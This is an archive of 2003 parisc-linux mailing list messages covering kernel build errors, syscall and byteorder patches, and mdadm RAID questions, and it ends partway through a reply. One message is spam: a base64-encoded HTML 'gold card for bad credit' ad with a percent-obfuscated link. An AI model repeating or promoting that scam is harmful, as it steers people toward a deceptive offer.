X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stifb
Date: Tue, 8 Jul 2003 16:06:14 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <3F056E9500000F91@ocpmta4.freegates.net>
References: <200307022213.58129.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622567 27599 80.91.229.3 (22 Nov 2014 02:16:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  8 08:06:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21822482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jul 2003 08:06:18 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19Zt4i-0005SI-00; Tue, 08 Jul 2003 16:04:08 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 8 Jul 2003 16:06:14 +0200
In-Reply-To: <200307022213.58129.deller@gmx.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18836

Hi Helge,

I comeback to you with stifb in kernel 2.5.74-pa0 this time.

I think I have the bad idea to compile it as builtin; unfortuantely I got
following compiling error:

  LD      vmlinux
drivers/built-in.o(.init.text+0xa778): In function `stifb_init':
: undefined reference to `sti_get_rom'
drivers/built-in.o(.exit.text+0x5d8): In function `stifb_cleanup':
: undefined reference to `sti_get_rom'
make: *** [vmlinux] Error 1

Any idea?

Thanks in advance,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] compat code for semtimedop in 2.4?
Date: Tue, 8 Jul 2003 10:23:25 -0400
Lines: 110
Approved: news@gmane.org
Message-ID: <20030708142325.GA21709@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622567 27603 80.91.229.3 (22 Nov 2014 02:16:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  8 08:24:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0E2E482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jul 2003 08:24:11 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19ZtNO-0005ob-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 08 Jul 2003 10:23:26 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (71% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18837

malcontents,

Checking the dirtiness of my 2.4 tree has reminded that we need some
sort of compat for semtimedop? Since we don't have an IPC multiplexor
this function call from the glibc side (already written wrapper) calls
this syscall. The number was given out by willy, and matches the 2.5
number. Do we need compat code? *Sigh*

Comments welcome!

Cheers,
Carlos.

---

Index: arch/parisc/kernel/sys_parisc.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/sys_parisc.c,v
retrieving revision 1.14
diff -u -p -r1.14 sys_parisc.c
--- arch/parisc/kernel/sys_parisc.c	23 Nov 2001 21:54:28 -0000	1.14
+++ arch/parisc/kernel/sys_parisc.c	8 Jul 2003 14:17:36 -0000
@@ -256,3 +256,11 @@ int sys_shmctl_broken(int shmid, int cmd
 	return sys_shmctl (shmid, cmd, (struct shmid_ds *)buf);
 }
 
+/* 2.4 compat code required for IPC calls */
+asmlinkage long sys_semtimedop(int semid, struct sembuf *tsops,
+                                unsigned nsops, const struct timespec *timeout)
+{
+	/* FIXME: Need to implement compat? */
+	return -ENOSYS;
+}
+
Index: arch/parisc/kernel/sys_parisc32.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/sys_parisc32.c,v
retrieving revision 1.27
diff -u -p -r1.27 sys_parisc32.c
--- arch/parisc/kernel/sys_parisc32.c	14 Sep 2002 05:14:03 -0000	1.27
+++ arch/parisc/kernel/sys_parisc32.c	8 Jul 2003 14:17:36 -0000
@@ -3104,3 +3104,11 @@ asmlinkage long sys32_semctl_broken(int 
 	return sys_semctl (semid, semnum, cmd, arg);
 }
 
+/* 2.4 compat code required for IPC calls */
+asmlinkage long sys32_semtimedop(int semid, struct sembuf *tsops,
+				unsigned nsops, const struct timespec *timeout)
+{
+	/* FIXME: Possible 32/64 conversions required */
+	/* FIXME: Need to implement compat? */
+	return -ENOSYS;
+}
Index: arch/parisc/kernel/syscall.S
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/syscall.S,v
retrieving revision 1.78
diff -u -p -r1.78 syscall.S
--- arch/parisc/kernel/syscall.S	4 Aug 2002 22:57:47 -0000	1.78
+++ arch/parisc/kernel/syscall.S	8 Jul 2003 14:17:36 -0000
@@ -604,8 +604,31 @@ sys_call_table:
 #endif
 	ENTRY_SAME(gettid)             
 	ENTRY_SAME(readahead)          
-	ENTRY_SAME(tkill)
+	ENTRY_SAME(tkill)		/* 208 */
 
+	/* COMPAT semtimedop call requires the same syscall number
+	across kernel versions. */
+	
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)		/* 210 */
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)		/* 220 */
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_DIFF(semtimedop)		/* 228 */
 .end
 
 	/* Make sure nothing else is placed on this page */
Index: include/asm-parisc/unistd.h
===================================================================
RCS file: /var/cvs/linux/include/asm-parisc/unistd.h,v
retrieving revision 1.26
diff -u -p -r1.26 unistd.h
--- include/asm-parisc/unistd.h	4 Aug 2002 22:59:52 -0000	1.26
+++ include/asm-parisc/unistd.h	8 Jul 2003 14:17:39 -0000
@@ -702,6 +702,8 @@
 #define __NR_readahead          (__NR_Linux + 207)
 #define __NR_tkill              (__NR_Linux + 208)
 
+#define __NR_semtimedop         (__NR_Linux + 228)
+
 #define __NR_Linux_syscalls     208
 
 #define HPUX_GATEWAY_ADDR       0xC0000004


From - Thu Nov 08 21:28:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux grundler
Date: Tue, 8 Jul 2003 11:06:14 -0400
Lines: 7
Approved: news@gmane.org
Message-ID: <20030708150614.GC21709@systemhalted>
References: <20030708022259.B62B849404E@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622567 27605 80.91.229.3 (22 Nov 2014 02:16:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:07 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  8 09:07:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 72A8C482B; Tue,  8 Jul 2003 09:07:00 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19Zu2o-0006BJ-00; Tue, 08 Jul 2003 11:06:14 -0400
Content-Disposition: inline
In-Reply-To: <20030708022259.B62B849404E@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (71% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18838

> Builds/links/boots using my c3000 .config.

Same here. Not dying under load either :)

c.



From - Thu Nov 08 21:28:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: lamont@smallone.fc.hp.com (LaMont Jones)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] byteorder.h patch
Date: Tue, 8 Jul 2003 11:03:59 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20030708170359.GA26021@smallone.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622568 27610 80.91.229.3 (22 Nov 2014 02:16:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:08 +0000 (UTC)
Cc: lamont@hp.com, bdale@gag.com
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  8 11:06:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smallone.fc.hp.com (smallone.fc.hp.com [192.25.206.249])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F30F482B
	for <parisc-linux@parisc-linux.org>; Tue,  8 Jul 2003 11:06:31 -0600 (MDT)
Original-Received: by smallone.fc.hp.com (Postfix, from userid 1000)
	id BC4CB1CCE1; Tue,  8 Jul 2003 11:03:59 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18839

I guess I should have sent mail...

byteorder.h would try to use __u64 when it wasn't defined (__STRICT_ANSI__).
This is fixed in revision 1.7 of include/asm-parisc/byteorder.h.

lamont

Index: include/asm-parisc/byteorder.h
===================================================================
RCS file: /var/cvs/linux/include/asm-parisc/byteorder.h,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -r1.6 -r1.7
--- include/asm-parisc/byteorder.h	8 Jul 2003 02:22:59 -0000	1.6
+++ include/asm-parisc/byteorder.h	8 Jul 2003 16:50:09 -0000	1.7
@@ -48,7 +48,8 @@
 	return x;
 }
 #define __arch__swab64(x) ___arch__swab64(x)
-#else
+#define __BYTEORDER_HAS_U64__
+#elif !defined(__STRICT_ANSI__)
 static __inline__ __const__ __u64 ___arch__swab64(__u64 x)
 {
 	__u32 t1 = (__u32) x;
@@ -57,12 +58,12 @@
 	___arch__swab32(t2);
 	return (((__u64) ___arch__swab32(t1) << 32) + ((__u64) ___arch__swab32(t2)));
 }
+#define __arch__swab64(x) ___arch__swab64(x)
+#define __BYTEORDER_HAS_U64__
 #endif
 
 #define __arch__swab16(x) ___arch__swab16(x)
 #define __arch__swab32(x) ___arch__swab32(x)
-#define __arch__swab64(x) ___arch__swab64(x)
-#define __BYTEORDER_HAS_U64__
 
 #endif /* __GNUC__ */
 


From - Thu Nov 08 21:28:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dub <dub@latnet.lv>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Corrections for RAID1 howto and Resyncing after failure
Date: Tue, 08 Jul 2003 21:03:22 +0300 (EEST)
Lines: 44
Approved: news@gmane.org
Message-ID: <1057687402.3f0b076a99c5d@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622568 27613 80.91.229.3 (22 Nov 2014 02:16:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  8 12:03:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.208])
	by dsl2.external.hp.com (Postfix) with SMTP id AD262482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jul 2003 12:03:28 -0600 (MDT)
Original-Received: (qmail 11010 invoked from network); 8 Jul 2003 18:03:23 -0000
Original-Received: from unknown (HELO sisenis.latnet.lv) (159.148.108.1)
  by mail.latnet.lv with SMTP; 8 Jul 2003 18:03:23 -0000
Original-Received: (qmail 5592 invoked by uid 33); 8 Jul 2003 18:03:22 -0000
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 212.93.96.158
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18840

Hi,

1. The document on 
http://www.parisc-linux.org/faq/raidboot-howto.html
is really great. However, there is one exception

Command from FAQ:
mdadm --create /dev/md0 --level 1 --raid-devices=2 missing /dev/sdb2

Command working with curreny woody release:
mdadm -C /dev/md0 --level raid1 --raid-disks 2 missing /dev/sde2

There is no --raid-devices option in my release!

2. 

I have mirrored boot, swap and root devices on pair of physical disks. I took
off one hot-plug disk and returned it back.
root device did not want to resync even after reboot.


md0 : active raid1 sde2[1] sda2[0]
      33728 blocks [2/2] [UU]
      
md1 : active raid1 sde3[1] sda3[0]
      525248 blocks [2/2] [UU]
      
md2 : active raid1 sda5[0]
      4218752 blocks [2/1] [U_]

I fixed it by command

mdadm /dev/md2 -a /dev/sde5

What's wrong???

Kernel was compiled with CONFIG_HOTPLUG=y


Many thanks in advance for your help!

BR,
Dub


From - Thu Nov 08 21:28:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dub <dub@latnet.lv>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to enable LCD screen on K-class?
Date: Tue, 08 Jul 2003 21:08:09 +0300 (EEST)
Lines: 11
Approved: news@gmane.org
Message-ID: <1057687689.3f0b0889cf459@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622568 27618 80.91.229.3 (22 Nov 2014 02:16:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  8 12:08:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.208])
	by dsl2.external.hp.com (Postfix) with SMTP id E2565482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jul 2003 12:08:11 -0600 (MDT)
Original-Received: (qmail 13490 invoked from network); 8 Jul 2003 18:08:11 -0000
Original-Received: from unknown (HELO sisenis.latnet.lv) (159.148.108.1)
  by mail.latnet.lv with SMTP; 8 Jul 2003 18:08:11 -0000
Original-Received: (qmail 11960 invoked by uid 33); 8 Jul 2003 18:08:09 -0000
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 212.93.96.158
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18841

Hi,

Woody Debian on my K-class does not show info on status LCD screen after linux
is started. How to configure this feature? LCD is working before OS is loaded,
then everything is black.

Thanks in advance for your help!

BR,
Dub


From - Thu Nov 08 21:28:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jertyrtyrytrryrtqnib@aol.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Need a GOLD Visa and Have Bad Credit
Date: Wed, 09 Jul 2003 05:48:45 +1100
Lines: 33
Approved: news@gmane.org
Message-ID: <5df301c34581$8f840ec0$c2a9b222@iwgudja>
Reply-To: jertyrtyrytrryrtqnib@aol.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_407_6EB2_BF3A0534.B7663D3F"
X-Trace: ger.gmane.org 1416622569 27623 80.91.229.3 (22 Nov 2014 02:16:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:09 +0000 (UTC)
To: "LOGAN" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  8 13:07:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from aol.com (unknown [200.30.167.224])
	by dsl2.external.hp.com (Postfix) with SMTP id 52EFB482B
	for <parisc-linux@parisc-linux.org>; Tue,  8 Jul 2003 13:07:22 -0600 (MDT)
X-Priority: 1
X-MSMail-Priority: High
X-Mailer: Microsoft Outlook, Build 10.0.4510
X-MimeOLE: Produced By Microsoft MimeOLE V10.0.4510
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18842

This is a multi-part message in MIME format.

------=_NextPart_407_6EB2_BF3A0534.B7663D3F
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


------=_NextPart_407_6EB2_BF3A0534.B7663D3F
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: base64


SGkhDQoNCjxodG1sPg0KDQo8aGVhZD4NCg0KPHRpdGxlPkVvaGhiPC90aXRs
ZT4NCjwvaGVhZD4NCg0KPGJvZHk+DQoNCjxwIGFsaWduPSJjZW50ZXIiPjxi
PmhlbGxvLERvIHlvdSB3YW50IGEgR09MRCBDQVJEPzxicj4NCjxjZW50ZXI+
SWYgeW91IGNhbid0IGdldCBhIGNyZWRpdCBjYXJkIG9yPGJyPg0KanVzdCBu
ZWVkIGFub3RoZXIuPGJyPg0KVGhlIEVjb25vbXkgaXMgdG91Z2g8YnI+DQpT
byBtYWtlIFlvdXIgTGlmZSBFYXN5LjwvY2VudGVyPjxicj4NCjxjZW50ZXI+
VGhpcyBpcyBZb3VyIENoYW5jZSB0byBDaGFuZ2UgWW91ciBsaWZlISANCjxh
IGhyZWY9Imh0dHA6Ly8lNjJpJTZDJTZDJTdBJTMxLmJpeiI+Q2xpY2sNCkhl
cmU8L2E+PC9jZW50ZXI+PC9iPjwvcD4NCjxwIGFsaWduPSJjZW50ZXIiPg0K
PGEgaHJlZj0iaHR0cDovLyU2MmklNkMlNkMlN0ElMzEuYml6Ij4NCjxpbWcg
Ym9yZGVyPSIwIiBzcmM9Imh0dHA6Ly8lNjJpJTZDJTZDJTdBJTMxLmJpei9j
cmVkaXQuZ2lmIiB3aWR0aD0iNjM2IiBoZWlnaHQ9IjQyOSI+PC9hPjwvcD4N
CjxwPjxhIGhyZWY9Imh0dHA6Ly8yMTYuMTU4LjE0My43Mi9wdW5pc2gvdW5z
dWJzY3JpYmUucGhwIj5ubyBtYWlsPC9hPjwvcD4NCg0KPC9ib2R5Pg0KRGZm
anBsZWpxZ3JiDQo8L2h0bWw+DQo=

------=_NextPart_407_6EB2_BF3A0534.B7663D3F--



From - Thu Nov 08 21:28:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Corrections for RAID1 howto and Resyncing after failure
Date: 08 Jul 2003 16:11:28 -0400
Organization: mkp.net
Lines: 36
Approved: news@gmane.org
Message-ID: <yq1llv8dbin.fsf@wilson.mkp.net>
References: <1057687402.3f0b076a99c5d@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622569 27625 80.91.229.3 (22 Nov 2014 02:16:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dub <dub@latnet.lv>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  8 14:11:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jaguar.mkp.net (jaguar.mkp.net [66.11.169.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3982482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jul 2003 14:11:46 -0600 (MDT)
Original-Received: from wilson.mkp.net (rover.mkp.net [209.217.122.9])
	by jaguar.mkp.net (Postfix) with ESMTP
	id 1E7D817828; Tue,  8 Jul 2003 16:11:42 -0400 (EDT)
Original-Received: (from mkp@localhost)
	by wilson.mkp.net (8.11.6/8.11.6) id h68KBSa25244;
	Tue, 8 Jul 2003 16:11:28 -0400
X-Authentication-Warning: wilson.mkp.net: mkp set sender to mkp@mkp.net using -f
In-Reply-To: <1057687402.3f0b076a99c5d@clients.latnet.lv>
Original-Lines: 35
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18843

>>>>> "Dub" == Dub  <dub@latnet.lv> writes:

Dub> Command from FAQ: mdadm --create /dev/md0 --level 1
